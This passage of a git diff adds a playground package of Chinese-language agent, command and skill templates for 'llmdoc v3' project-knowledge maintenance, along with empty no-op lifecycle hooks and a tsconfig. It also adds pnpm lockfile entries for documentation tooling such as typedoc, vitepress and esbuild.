filesystem:read + - filesystem:write +--- + +只根据已确认结论生成结构化草案,保留来源与适用范围。当前模板不提供 transaction;实际写入前必须由完整 runtime 再次校验目标和冲突。 diff --git a/packages/playground/src/agents/reflector.md b/packages/playground/src/agents/reflector.md new file mode 100644 index 0000000..7ce5487 --- /dev/null +++ b/packages/playground/src/agents/reflector.md @@ -0,0 +1,8 @@ +--- +description: 比较候选知识与现有事实并识别冲突和过期内容 +model: capable +capabilities: + - filesystem:read +--- + +比较已有知识、调查证据和候选结论,输出可提升、需修订、应删除及仍不确定的项目。不要把未经验证的对话偏好提升为稳定知识。 diff --git a/packages/playground/src/commands/init.md b/packages/playground/src/commands/init.md new file mode 100644 index 0000000..d9be408 --- /dev/null +++ b/packages/playground/src/commands/init.md @@ -0,0 +1,10 @@ +--- +description: 初始化 llmdoc v3 风格的知识工程模板 +requires: + skills: + - llmdoc +--- + +为 `{{arguments}}` 规划知识目录、Domain 和首批调查入口。先展示将创建的模板和边界,等待确认后再交给完整 llmdoc runtime 执行。 + +当前 playground 只提供作者模板,不创建 Frontier、fingerprint、graph 或事务状态。 diff --git a/packages/playground/src/commands/prune.md b/packages/playground/src/commands/prune.md new file mode 100644 index 0000000..b84f332 --- /dev/null +++ b/packages/playground/src/commands/prune.md @@ -0,0 +1,10 @@ +--- +description: 审查并规划清理过期的 llmdoc v3 知识 +requires: + skills: + - llmdoc + agents: + - reflector +--- + +审查 `{{arguments}}` 中可能过期、重复或与源码冲突的知识。输出保留、合并、删除候选及理由,等待人工确认;当前模板不执行删除或 rollback。 diff --git a/packages/playground/src/commands/update.md b/packages/playground/src/commands/update.md new file mode 100644 index 0000000..1a1f97b --- /dev/null +++ b/packages/playground/src/commands/update.md @@ -0,0 +1,10 @@ +--- +description: 根据源码变化规划 llmdoc v3 知识更新 +requires: + skills: + - llmdoc + agents: + - investigator +--- + +调查 `{{arguments}}` 的源码和现有知识,形成带证据的候选更新、冲突与待确认项。不要在当前模板中声称已经计算 fingerprint、delta 或提交 transaction。 diff --git a/packages/playground/src/commands/upgrade.md b/packages/playground/src/commands/upgrade.md new file mode 100644 index 0000000..5b5adb8 --- /dev/null +++ b/packages/playground/src/commands/upgrade.md @@ -0,0 +1,10 @@ +--- +description: 规划显式的 llmdoc v3 知识格式升级 +requires: + skills: + - llmdoc + agents: + - recorder +--- + +针对 `{{arguments}}` 列出格式差异、兼容性风险、备份和验收步骤。此 Command 只是可发现入口,不包含真实 Migration 代码或完整惰性加载正文。 diff --git a/packages/playground/src/hooks/pre-compact/hook.ts b/packages/playground/src/hooks/pre-compact/hook.ts new file mode 100644 index 0000000..acf74cf --- /dev/null +++ b/packages/playground/src/hooks/pre-compact/hook.ts @@ -0,0 +1,8 @@ +import { defineHook } from '@tokenroll/acplugin-extension-hooks'; + +/** 展示压缩前扩展点;playground 不保存续接状态或阻止压缩。 */ +export default defineHook({ + event: 'PreCompact', + /** no-op 不阻止压缩,也不产生虚假的续接状态。 */ + run() {}, +}); diff --git a/packages/playground/src/hooks/session-start/hook.ts b/packages/playground/src/hooks/session-start/hook.ts new file mode 100644 index 0000000..adfaea7 --- /dev/null +++ b/packages/playground/src/hooks/session-start/hook.ts @@ -0,0 +1,8 @@ +import { defineHook } from '@tokenroll/acplugin-extension-hooks'; + +/** 展示会话开始扩展点;playground 不加载 llmdoc runtime。 */ +export default defineHook({ + event: 'SessionStart', + /** no-op 保持宿主会话流程不变。 */ + run() {}, +}); diff --git a/packages/playground/src/hooks/stop/hook.ts b/packages/playground/src/hooks/stop/hook.ts new file mode 100644 index 0000000..7a51944 --- /dev/null +++ b/packages/playground/src/hooks/stop/hook.ts @@ -0,0 +1,8 @@ +import { defineHook } from '@tokenroll/acplugin-extension-hooks'; + +/** 展示停止扩展点;playground 不执行知识提交或延长会话。 */ +export default defineHook({ + event: 'Stop', + /** no-op 不延长会话,也不执行知识提交。 */ + run() {}, +}); diff --git a/packages/playground/src/skills/llmdoc/SKILL.md b/packages/playground/src/skills/llmdoc/SKILL.md new file mode 100644 index 0000000..6111674 --- /dev/null +++ b/packages/playground/src/skills/llmdoc/SKILL.md @@ -0,0 +1,26 @@ +--- +description: 规划和维护 llmdoc v3 风格的项目知识 +invocation: + user: true + model: true +--- + +# llmdoc v3 authoring template + +在需要调查项目、提出知识候选、审查过期内容或规划显式升级时使用此 Skill。 + +## 工作方式 + +1. 先确认任务范围与当前知识边界。 +2. 调查源码并记录可复核证据,不把推测写成事实。 +3. 区分候选变化、冲突、删除建议和仍需用户确认的决策。 +4. 只有完整 runtime 才能计算 fingerprint、更新 graph 并执行 transaction。 + +## References + +- [Frontier](references/frontier.md) +- [Transaction](references/transaction.md) +- [Reflection promotion](references/reflection-promotion.md) +- [Compact continuation](references/compact-continuation.md) + +这些 references 描述目标模型,不代表 playground 已实现相应状态机或持久化逻辑。 diff --git a/packages/playground/src/skills/llmdoc/references/compact-continuation.md b/packages/playground/src/skills/llmdoc/references/compact-continuation.md new file mode 100644 index 0000000..433a817 --- /dev/null +++ b/packages/playground/src/skills/llmdoc/references/compact-continuation.md @@ -0,0 +1,5 @@ +# Compact continuation + +完整 runtime 应在上下文压缩前保存最小续接状态,并在新上下文中校验版本和 fingerprint 后恢复任务。 + +当前 `PreCompact` Hook 是 no-op,不读取状态、不写续接文件,也不阻止平台压缩流程。 diff --git a/packages/playground/src/skills/llmdoc/references/frontier.md b/packages/playground/src/skills/llmdoc/references/frontier.md new file mode 100644 index 0000000..e520bcb --- /dev/null +++ b/packages/playground/src/skills/llmdoc/references/frontier.md @@ -0,0 +1,5 @@ +# Frontier + +Frontier 表示一次知识维护会话中已经调查、仍待调查和等待确认的边界。完整实现应使用稳定 ID 和输入 fingerprint 识别候选是否仍适用。 + +本模板不保存 Frontier,也不根据文件变化自动推进状态;Command 只能要求调用方显式列出范围和证据。 diff --git a/packages/playground/src/skills/llmdoc/references/reflection-promotion.md b/packages/playground/src/skills/llmdoc/references/reflection-promotion.md new file mode 100644 index 0000000..02b73c2 --- /dev/null +++ b/packages/playground/src/skills/llmdoc/references/reflection-promotion.md @@ -0,0 +1,5 @@ +# Reflection promotion + +反思内容只有在拥有明确来源、稳定适用范围并通过冲突审查后,才适合提升为项目知识。一次性的推测、对话状态和未经验证的偏好应留在候选区。 + +当前 playground 只提供这一判断框架,不维护 promotion queue 或持久化元数据。 diff --git a/packages/playground/src/skills/llmdoc/references/transaction.md b/packages/playground/src/skills/llmdoc/references/transaction.md new file mode 100644 index 0000000..8325825 --- /dev/null +++ b/packages/playground/src/skills/llmdoc/references/transaction.md @@ -0,0 +1,5 @@ +# Transaction + +完整 llmdoc v3 应先构造并校验全部候选知识,再以可恢复事务提交,任何失败都保留上一次完整状态。 + +本模板没有知识 writer、stage、backup、swap 或 rollback。不要把 ACPlugin 自身的产物事务误认为 llmdoc 知识事务已经实现。 diff --git a/packages/playground/tsconfig.json b/packages/playground/tsconfig.json new file mode 100644 index 0000000..e160c82 --- /dev/null +++ b/packages/playground/tsconfig.json @@ -0,0 +1,4 @@ +{ + "extends": "../../tsconfig.base.json", + "include": ["acplugin.config.ts", "src/**/*.ts"] +} diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 850ed89..643c079 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -167,6 +167,24 @@ importers: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) + packages/docs: + devDependencies: + typedoc: + specifier: ^0.28.20 + version: 0.28.20(@typescript/typescript6@6.0.2) + typedoc-plugin-markdown: + specifier: ^4.12.0 + version: 4.12.0(typedoc@0.28.20(@typescript/typescript6@6.0.2)) + typedoc-vitepress-theme: + specifier: ^1.1.3 + version: 1.1.3(typedoc-plugin-markdown@4.12.0(typedoc@0.28.20(@typescript/typescript6@6.0.2))) + typescript: + specifier: npm:@typescript/typescript6@^6.0.2 + version: '@typescript/typescript6@6.0.2' + vitepress: + specifier: ^1.6.4 + version: 1.6.4(@algolia/client-search@5.56.0)(@types/node@20.19.43)(@typescript/typescript6@6.0.2)(postcss@8.5.25)(search-insights@2.17.3) + packages/extensions/hooks: dependencies: rolldown: @@ -347,6 +365,27 @@ importers: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) + packages/playground: + devDependencies: + '@tokenroll/acplugin': + specifier: workspace:^ + version: link:../acplugin + '@tokenroll/acplugin-extension-hooks': + specifier: workspace:^ + version: link:../extensions/hooks + '@tokenroll/acplugin-platform-claude-code': + specifier: workspace:^ + version: link:../platforms/claude-code + '@tokenroll/acplugin-platform-codex': + specifier: workspace:^ + version: link:../platforms/codex + '@types/node': + specifier: 'catalog:' + version: 20.19.43 + '@typescript/native': + specifier: 'catalog:' + version: typescript@7.0.2 + packages/test: dependencies: '@acplugin/core': @@ -392,6 +431,82 @@ importers: packages: + '@algolia/abtesting@1.22.0': + resolution: {integrity: sha512-BFR6zNowNKcY7Ou7TaJc9QWexES4YKPbmf/OTFofpdsdhz4x6q0lbxp3duO0EHnyrN7rE4ba/TSXuY+BDGu4+g==} + engines: {node: '>= 14.0.0'} + + '@algolia/autocomplete-core@1.17.7': + resolution: {integrity: sha512-BjiPOW6ks90UKl7TwMv7oNQMnzU+t/wk9mgIDi6b1tXpUek7MW0lbNOUHpvam9pe3lVCf4xPFT+lK7s+e+fs7Q==} + + '@algolia/autocomplete-plugin-algolia-insights@1.17.7': + resolution: {integrity: sha512-Jca5Ude6yUOuyzjnz57og7Et3aXjbwCSDf/8onLHSQgw1qW3ALl9mrMWaXb5FmPVkV3EtkD2F/+NkT6VHyPu9A==} + peerDependencies: + search-insights: '>= 1 < 3' + + '@algolia/autocomplete-preset-algolia@1.17.7': + resolution: {integrity: sha512-ggOQ950+nwbWROq2MOCIL71RE0DdQZsceqrg32UqnhDz8FlO9rL8ONHNsI2R1MH0tkgVIDKI/D0sMiUchsFdWA==} + peerDependencies: + '@algolia/client-search': '>= 4.9.1 < 6' + algoliasearch: '>= 4.9.1 < 6' + + '@algolia/autocomplete-shared@1.17.7': + resolution: {integrity: sha512-o/1Vurr42U/qskRSuhBH+VKxMvkkUVTLU6WZQr+L5lGZZLYWyhdzWjW0iGXY7EkwRTjBqvN2EsR81yCTGV/kmg==} + peerDependencies: + '@algolia/client-search': '>= 4.9.1 < 6' + algoliasearch: '>= 4.9.1 < 6' + + '@algolia/client-abtesting@5.56.0': + resolution: {integrity: sha512-7r4Z3NC7yU1oAQVWJNA2HX7tX481F3pJvCGyLIXiTdBcthz4Q/o21jwcMYDFkuI92UWTNBQQmHYgwHo1zS5dzg==} + engines: {node: '>= 14.0.0'} + + '@algolia/client-analytics@5.56.0': + resolution: {integrity: sha512-avmjXQSq+jadFO8Xl2em05/uQdQnEmHsJyOAdVbZkmVgpMfxL12aJwVVfGNwYr9nulcpuJN1X0lTaQ5wxuNGcA==} + engines: {node: '>= 14.0.0'} + + '@algolia/client-common@5.56.0': + resolution: {integrity: sha512-v2TPStUhY//ripPjIVclZ8AWc7DEGooXULZGFlFu37zNatgHjw34oZZ+OSbbc/YHO+xZwPl62I1k8xH1m4S2eg==} + engines: {node: '>= 14.0.0'} + + '@algolia/client-insights@5.56.0': + resolution: {integrity: sha512-P0ehROpM4Sem3Sqo5x2cKPgj67D3G3jy0rh1Amwkcvsfr6tkvIcdCmerieanqTF7NxUMPNFLkpIFeMO8Rpa50w==} + engines: {node: '>= 14.0.0'} + + '@algolia/client-personalization@5.56.0': + resolution: {integrity: sha512-SXK3Vn3WVxyzbm31oePZBJkp1wpOyuWdd4B/Pv7n0aXDxmeSWhC1R1FC1517mMrFAIaPH4Rt0x6RUe7ZNjz8FA==} + engines: {node: '>= 14.0.0'} + + '@algolia/client-query-suggestions@5.56.0': + resolution: {integrity: sha512-5+ZdX8garFnmycnZgKhtXHePEaLj5zqDxI/0lkhhluzCcvTn0/PvvTirTg8hHYetQHvn7GDyeAiqTAieMvMW4A==} + engines: {node: '>= 14.0.0'} + + '@algolia/client-search@5.56.0': + resolution: {integrity: sha512-+mKUdYvqOi0BcvpAEyCEw49vSBptufIcfibtHz2bdr1pI789M46Yt0uQEk/sxtK3teh71OQvVFHaTDzShUWewQ==} + engines: {node: '>= 14.0.0'} + + '@algolia/ingestion@1.56.0': + resolution: {integrity: sha512-9g/zj+AZx5moFcdFIrYQoVrueXivjUcc3MQHtCYT8WhIuk1lUh1AyEhvJCS0XBZld09cLvd1AZ3BvDBpVpX2UA==} + engines: {node: '>= 14.0.0'} + + '@algolia/monitoring@1.56.0': + resolution: {integrity: sha512-Qf3Sr6f9A9uxCZUf3MXS0d2b877uYzEB5yxqpVGXAhcJnBCQjrRRon0KvefpGkxy+BshrIJs96OUoMtGqXTFDA==} + engines: {node: '>= 14.0.0'} + + '@algolia/recommend@5.56.0': + resolution: {integrity: sha512-GXWG1rWc5wu8hY4N33Y3b6ernY6sAdAvmKWN/zHAiACOx40WnpG0TVX5YazCAr/9gOYGInSiM2A0y2jy2xbiDA==} + engines: {node: '>= 14.0.0'} + + '@algolia/requester-browser-xhr@5.56.0': + resolution: {integrity: sha512-7t24cBxaInS3mZb7ddEaZT/tp6q+/aR4YttsQVyP1/i+LmwPR34atO35KjaLFCcRVrlP7sYOAqkCfg6lIRB+ew==} + engines: {node: '>= 14.0.0'} + + '@algolia/requester-fetch@5.56.0': + resolution: {integrity: sha512-R7ePHgVYmDFjZpvrsVAfbDz/d4RxKAYZ5/vgLfIsCVRZRryjWl/3INOxpOICzitehQ5FjNtNjcLQTrmHPTcHBQ==} + engines: {node: '>= 14.0.0'} + + '@algolia/requester-node-http@5.56.0': + resolution: {integrity: sha512-PIOUXlSnrqM0S+WOgDRb4RzotydJH7ZoT6tOyL7tAO7qJOfvX5wsEW8Pe+PMKMwvuI4/gIyK9cg2H7lJXqnc4Q==} + engines: {node: '>= 14.0.0'} + '@andrewbranch/untar.js@1.0.3': resolution: {integrity: sha512-Jh15/qVmrLGhkKJBdXlK1+9tY4lZruYjsgkDFj08ZmDiWVBLJcqkok7Z0/R0In+i1rScBpJlSvrTS2Lm41Pbnw==} @@ -399,10 +514,27 @@ packages: resolution: {integrity: sha512-9ytjzGwxjm9Uz7I9avfbt5vlQt6uk9uRRESzJjqrznl6WKvI6dwYTo+vJ3U02Wrq/mR3iql/PzhvHhKdJIAjDQ==} engines: {node: '>=20'} + '@babel/helper-string-parser@7.29.7': + resolution: {integrity: sha512-Pb5ijPrZ89GDH8223L4UP8i6QApWxs04RbPQJTeWDV0/keR2E36MeKnyr6LYmUUvqRRI+Iv87SuF1W6ErINzYw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-validator-identifier@7.29.7': + resolution: {integrity: sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg==} + engines: {node: '>=6.9.0'} + + '@babel/parser@7.29.8': + resolution: {integrity: sha512-E8lTAYNB1KW+FH+VGJuZM1ioAx2E6oVlvQFRrf5P8ZZmsiJXYAD9vTFV7yyEURNzgh1dFqMZuO6tUwcARbqFCA==} + engines: {node: '>=6.0.0'} + hasBin: true + '@babel/runtime@7.29.7': resolution: {integrity: sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw==} engines: {node: '>=6.9.0'} + '@babel/types@7.29.8': + resolution: {integrity: sha512-Vj1jF3cPfxg7OAfoI7QnVKLoILlm2JF9pnVHrX8qx7AHMiYWT+NDAA7jChlNgRS4WTLc/fD1lXLmPixluj+3Gg==} + engines: {node: '>=6.9.0'} + '@braidai/lang@1.1.2': resolution: {integrity: sha512-qBcknbBufNHlui137Hft8xauQMTZDKdophmLFv05r2eNmdIv/MlPuP4TdUknHG68UdWLgVZwgxVe735HzJNIwA==} @@ -461,102 +593,227 @@ packages: '@changesets/write@0.4.0': resolution: {integrity: sha512-CdTLvIOPiCNuH71pyDu3rA+Q0n65cmAbXnwWH84rKGiFumFzkmHNT8KHTMEchcxN+Kl8I54xGUhJ7l3E7X396Q==} + '@docsearch/css@3.8.2': + resolution: {integrity: sha512-y05ayQFyUmCXze79+56v/4HpycYF3uFqB78pLPrSV5ZKAlDuIAAJNhaRi8tTdRNXh05yxX/TyNnzD6LwSM89vQ==} + + '@docsearch/js@3.8.2': + resolution: {integrity: sha512-Q5wY66qHn0SwA7Taa0aDbHiJvaFJLOJyHmooQ7y8hlwwQLQ/5WwCcoX0g7ii04Qi2DJlHsd0XXzJ8Ypw9+9YmQ==} + + '@docsearch/react@3.8.2': + resolution: {integrity: sha512-xCRrJQlTt8N9GU0DG4ptwHRkfnSnD/YpdeaXe02iKfqs97TkZJv60yE+1eq/tjPcVnTW8dP5qLP7itifFVV5eg==} + peerDependencies: + '@types/react': '>= 16.8.0 < 19.0.0' + react: '>= 16.8.0 < 19.0.0' + react-dom: '>= 16.8.0 < 19.0.0' + search-insights: '>= 1 < 3' + peerDependenciesMeta: + '@types/react': + optional: true + react: + optional: true + react-dom: + optional: true + search-insights: + optional: true + + '@esbuild/aix-ppc64@0.21.5': + resolution: {integrity: sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==} + engines: {node: '>=12'} + cpu: [ppc64] + os: [aix] + '@esbuild/aix-ppc64@0.28.1': resolution: {integrity: sha512-Svl7tq8k/08+p6CXPpRjQ1fKX+1odH/BQbb48fV6fj3CWHhsoIOoY87w1oHXm0qEpkIK3ZfVgp0hed3XBXzXMQ==} engines: {node: '>=18'} cpu: [ppc64] os: [aix] + '@esbuild/android-arm64@0.21.5': + resolution: {integrity: sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==} + engines: {node: '>=12'} + cpu: [arm64] + os: [android] + '@esbuild/android-arm64@0.28.1': resolution: {integrity: sha512-34EGEbCIAgosYz6goLcopX6Mo7NyGv9tfwEM2/7Ce2VcVRk568iSvniGWcUXIy7wEDR1wzolcxcriFVrWYcwBg==} engines: {node: '>=18'} cpu: [arm64] os: [android] + '@esbuild/android-arm@0.21.5': + resolution: {integrity: sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==} + engines: {node: '>=12'} + cpu: [arm] + os: [android] + '@esbuild/android-arm@0.28.1': resolution: {integrity: sha512-0k2F129Xdio1TdJfzJ8sy1Q47vUD2NnwdhiAf7drUN1EBTfPf4hsFCtmMgu/6m8JSzsBrlmVjudMBQqOfG8usQ==} engines: {node: '>=18'} cpu: [arm] os: [android] + '@esbuild/android-x64@0.21.5': + resolution: {integrity: sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==} + engines: {node: '>=12'} + cpu: [x64] + os: [android] + '@esbuild/android-x64@0.28.1': resolution: {integrity: sha512-dbwY7ltSMDWsRatcRpCnES4F+im88OCUgGZjy52shC7GqHRE/cYlxNbB4Z4UpJswpcc4Qxd2oE/ufM0p61IKng==} engines: {node: '>=18'} cpu: [x64] os: [android] + '@esbuild/darwin-arm64@0.21.5': + resolution: {integrity: sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==} + engines: {node: '>=12'} + cpu: [arm64] + os: [darwin] + '@esbuild/darwin-arm64@0.28.1': resolution: {integrity: sha512-TZbWkQY7kvTAXbXUT7uVACR5cMHsDiSz9z7ZKAX/RTq/WJEk3QyRr0wZpNhBDX+/0CtdqUIJlOiodQcta6tY3Q==} engines: {node: '>=18'} cpu: [arm64] os: [darwin] + '@esbuild/darwin-x64@0.21.5': + resolution: {integrity: sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==} + engines: {node: '>=12'} + cpu: [x64] + os: [darwin] + '@esbuild/darwin-x64@0.28.1': resolution: {integrity: sha512-zfdzgK9ACBNZLI/CyHTOx81SyNbM6YXn7rxSgX97VjyiPl9W1i4Ka4fgKECEoFCKGpvBj5qArWIGgQjOwkgskQ==} engines: {node: '>=18'} cpu: [x64] os: [darwin] + '@esbuild/freebsd-arm64@0.21.5': + resolution: {integrity: sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==} + engines: {node: '>=12'} + cpu: [arm64] + os: [freebsd] + '@esbuild/freebsd-arm64@0.28.1': resolution: {integrity: sha512-wG2EA8ENdEI0qhkSZMjfqrdY+ziCYCPMmtZjjIwOmXFjmyzEHn+UUxk5of+SYsjtfs3VpnlC7QLzSI5hY/rOAw==} engines: {node: '>=18'} cpu: [arm64] os: [freebsd] + '@esbuild/freebsd-x64@0.21.5': + resolution: {integrity: sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [freebsd] + '@esbuild/freebsd-x64@0.28.1': resolution: {integrity: sha512-i7dZ9vQgnvSCzi/rYCXNgtF/U+eKZNJBzu3eTQbRgHnM7tNSizLOkRFAl3qzVc/Op/u5YkHHa4pf/3DOYHthLQ==} engines: {node: '>=18'} cpu: [x64] os: [freebsd] + '@esbuild/linux-arm64@0.21.5': + resolution: {integrity: sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==} + engines: {node: '>=12'} + cpu: [arm64] + os: [linux] + '@esbuild/linux-arm64@0.28.1': resolution: {integrity: sha512-yHs+0uc8+nvEAfAfxrWQKK5peSNzBc4PegcMO0EJ2hT71uA7vB8Ihg2e77R2P7SG5uYjPbHlLLmve4LLLRCf0g==} engines: {node: '>=18'} cpu: [arm64] os: [linux] + '@esbuild/linux-arm@0.21.5': + resolution: {integrity: sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==} + engines: {node: '>=12'} + cpu: [arm] + os: [linux] + '@esbuild/linux-arm@0.28.1': resolution: {integrity: sha512-qVXBOHQS+d5Y722GwJzJUtOLlX7km3CraOaGormF1pDtPd2C/l1SHRPgjLunLGe51Sh5YYWKMFDyV4SxgMQYTQ==} engines: {node: '>=18'} cpu: [arm] os: [linux] + '@esbuild/linux-ia32@0.21.5': + resolution: {integrity: sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==} + engines: {node: '>=12'} + cpu: [ia32] + os: [linux] + '@esbuild/linux-ia32@0.28.1': resolution: {integrity: sha512-d1z4ZuP0ajrfz/FhGT4vv278rX8KnPPJx8i5+AtK7TYbx9Le9F1hyzurZpkEyjkGa9dUGhQow4C1NmeGvqxN2w==} engines: {node: '>=18'} cpu: [ia32] os: [linux] + '@esbuild/linux-loong64@0.21.5': + resolution: {integrity: sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==} + engines: {node: '>=12'} + cpu: [loong64] + os: [linux] + '@esbuild/linux-loong64@0.28.1': resolution: {integrity: sha512-M5sRjUVZrkm1OAPR3dlOYzNmN+loZKGVi1VUQGrwuqLcbR6qeAz+famMhjASeH3YVKvZz+zT1jlh/keC3Rj/lg==} engines: {node: '>=18'} cpu: [loong64] os: [linux] + '@esbuild/linux-mips64el@0.21.5': + resolution: {integrity: sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==} + engines: {node: '>=12'} + cpu: [mips64el] + os: [linux] + '@esbuild/linux-mips64el@0.28.1': resolution: {integrity: sha512-mRObBZeHh2OxcBFPWE/FjylkRgZdYuiTR3vaTozquCGOH14iP9oN4x4Ge81CoIDYQrXmIxpFumJBu5MtZpnQJQ==} engines: {node: '>=18'} cpu: [mips64el] os: [linux] + '@esbuild/linux-ppc64@0.21.5': + resolution: {integrity: sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==} + engines: {node: '>=12'} + cpu: [ppc64] + os: [linux] + '@esbuild/linux-ppc64@0.28.1': resolution: {integrity: sha512-slScBsMAb3GFDcdrCgLwZtPYRoH2H/youv10QiZyRjmsP48fznoveWytSgCI/R0ZcUgpc0ZhIUEx6LHts8yrfQ==} engines: {node: '>=18'} cpu: [ppc64] os: [linux] + '@esbuild/linux-riscv64@0.21.5': + resolution: {integrity: sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==} + engines: {node: '>=12'} + cpu: [riscv64] + os: [linux] + '@esbuild/linux-riscv64@0.28.1': resolution: {integrity: sha512-kw0owk1o0GFETUJyW0jc0G4Yzs0BHZn0JDZ8JRT088vjJYX777BAs1fDGxAC+q831qOs2DTC96mNsG2opdfyyQ==} engines: {node: '>=18'} cpu: [riscv64] os: [linux] + '@esbuild/linux-s390x@0.21.5': + resolution: {integrity: sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==} + engines: {node: '>=12'} + cpu: [s390x] + os: [linux] + '@esbuild/linux-s390x@0.28.1': resolution: {integrity: sha512-/lAIjX8aYFRByhh6L5rYtPEDRqa9de/4V/juOXcta5frjvzXO4/sqEtyytse0g3zZFuWu5cDN0MkLz2qRDD2Ag==} engines: {node: '>=18'} cpu: [s390x] os: [linux] + '@esbuild/linux-x64@0.21.5': + resolution: {integrity: sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [linux] + '@esbuild/linux-x64@0.28.1': resolution: {integrity: sha512-u/anNYF2mmVOEDwLtnQ1wOr3EZ9sTNGLWrsYGYwHWzGA3Si84IOkHXlbWTD1NB+9/1lcnweYKO54uhxZydNzfA==} engines: {node: '>=18'} @@ -569,6 +826,12 @@ packages: cpu: [arm64] os: [netbsd] + '@esbuild/netbsd-x64@0.21.5': + resolution: {integrity: sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==} + engines: {node: '>=12'} + cpu: [x64] + os: [netbsd] + '@esbuild/netbsd-x64@0.28.1': resolution: {integrity: sha512-aeL6lAnN89Hz43Mlh1G8ARasbuoYvSITDEx0tHh5b7jJnHcssqgjy9Yx430GDpmCa6OyrKoS0aNRjKundRizGg==} engines: {node: '>=18'} @@ -581,6 +844,12 @@ packages: cpu: [arm64] os: [openbsd] + '@esbuild/openbsd-x64@0.21.5': + resolution: {integrity: sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==} + engines: {node: '>=12'} + cpu: [x64] + os: [openbsd] + '@esbuild/openbsd-x64@0.28.1': resolution: {integrity: sha512-i/ZLIOafE0Z8cI/XANJAixoJL/uRAoS2xOA3rb0xN+KK0K177cMAsQYkzHtBrtMXAKuAc7HGgcWiZ/sRC1Nxgw==} engines: {node: '>=18'} @@ -593,24 +862,48 @@ packages: cpu: [arm64] os: [openharmony] + '@esbuild/sunos-x64@0.21.5': + resolution: {integrity: sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==} + engines: {node: '>=12'} + cpu: [x64] + os: [sunos] + '@esbuild/sunos-x64@0.28.1': resolution: {integrity: sha512-BEjgtECkL3vY+SaSQ6nzVfiALUeFxpawyp8Jmf5PtYhf1Ug40N1h/hxlhts+f1FvSvarEigdxS3BlSMI2PJLcQ==} engines: {node: '>=18'} cpu: [x64] os: [sunos] + '@esbuild/win32-arm64@0.21.5': + resolution: {integrity: sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==} + engines: {node: '>=12'} + cpu: [arm64] + os: [win32] + '@esbuild/win32-arm64@0.28.1': resolution: {integrity: sha512-lCv9eK/H6ZJWbE7bh2nw54CZ9M2nupBxJcTsdk/QQnWkdSjKGuxmmH8/GWrlT1eMmZfn4dGcCjRte397WqfQXA==} engines: {node: '>=18'} cpu: [arm64] os: [win32] + '@esbuild/win32-ia32@0.21.5': + resolution: {integrity: 